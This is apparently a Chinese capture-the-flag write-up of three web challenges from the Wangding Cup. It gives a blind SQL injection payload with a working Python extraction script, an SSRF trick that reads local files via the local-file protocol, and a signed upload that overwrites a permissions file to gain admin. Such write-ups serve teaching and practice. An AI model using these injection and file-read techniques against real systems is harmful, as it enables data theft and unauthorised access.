网鼎杯-青龙组web题目writeup

  • A+
所属分类:安全文章

网鼎杯-青龙组web题目writeup

1.web1-张三的网站

 

    

网鼎杯-青龙组web题目writeup

    这题是一道注入题,解法有两种,一种是二次注入,一种是insert类型注入。我们团队做题时用的时insert类型注入,payload为:

'^(case  hex(mid((select * from flag limit 1 offset 0) from -1)) when '24' then 1 else 1/0 end)||'0

    这里,当错误时,会执行1/0,数据库会出错,因此返回码为200,而如果条件正确时,会返回1,此时注册成功,返回码为302.最后附上脚本。

#encoding=utf-8import requestsimport jsonimport timeurl = "http://4bbd0529b2974eefa5637051dd97233778147d62a1b546e8.cloudgame2.ichunqiu.com/register.php"database = ""hex_database = ""i = -1proxies = {  "http": "http://127.0.0.1:8080",}headers = {  "Content-Type":"application/x-www-form-urlencoded"}while i > -100:    for j in range(30,148):        j = chr(j)        k = j.encode('hex')        username = "'^(case  hex(mid((select * from flag limit 1 offset 0) from "+str(i)+")) when '"+k+hex_database+"' then 1 else 1/0 end)||'0"        #username = "'^(case hex(mid(database() from -1)) when 65  then 1 else abs(-9223372036854775808) end)-- -"        # mid(database() from -1) 输出最后一位 mid(database() from -2)    输出最后两位,不同 用to, 过滤掉ascii时,也可以使用hex        print username        data = {                                    #这儿是特殊情况,需要使用json.dumps            "username":username,            "password":"1",            "email":"[email protected]"        }        #print username        #data = json.dumps(data)        st  = time.time()        r = requests.post(url,data=data,allow_redirects=False,headers=headers,proxies=proxies)        #print r.text        print r.status_code        if r.status_code==302:            #time.sleep(10)            database = j + database                             #这儿的j是字母            hex_database = k + hex_database                     #这儿的k是字母对应的hex            print database            break    i = i - 1

网鼎杯-青龙组web题目writeup

2.web2-picdown

 

 

    

网鼎杯-青龙组web题目writeup

    这道题是考察SSRF的一道题目。直接使用file协议进行读取,会出现waf:

网鼎杯-青龙组web题目writeup

    参考:https://xz.aliyun.com/t/6050 ,发现local-file协议读取文件:

先读取/proc/self/cmdline,发现程序运行在/root/路径下。

网鼎杯-青龙组web题目writeup

    尝试读取flag:

网鼎杯-青龙组web题目writeup

 

网鼎杯-青龙组web题目writeup

3.web3-starbucks

 

 

 

这道题目考察的是权限覆盖,原型是

https://dreadlocked.github.io/2019/04/20/midnisghtsunctf-cloudb/

在js中发现:

网鼎杯-青龙组web题目writeup

在js中发现/userinfo/+userid+/info.js的一个文件,userid在题目主页的js里面可以看到:

网鼎杯-青龙组web题目writeup

 

先看下info.js的内容:

网鼎杯-青龙组web题目writeup

要把自己变成admin才能看到flag,最开始想到的是修改返回包,但是请求题目地址的时候,只看到两个数据包:

网鼎杯-青龙组web题目writeup

并没有请求这个info.js的,所以可能是服务器发情请求进行判定权限的。

然后想到上传点,那上传一个info.js覆盖掉原来的,具体操作如下;

1、先生成一个上传info.js的sign值

网鼎杯-青龙组web题目writeup

2、在上传包中替换sign,主要有三个地方:key,X-Amz-Date和Policy需要替换

网鼎杯-青龙组web题目writeup

网鼎杯-青龙组web题目writeup

 

然后访问看下info.js变成admin没:

网鼎杯-青龙组web题目writeup

3、最后刷新题目,点击show flag即可:

网鼎杯-青龙组web题目writeup

 

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: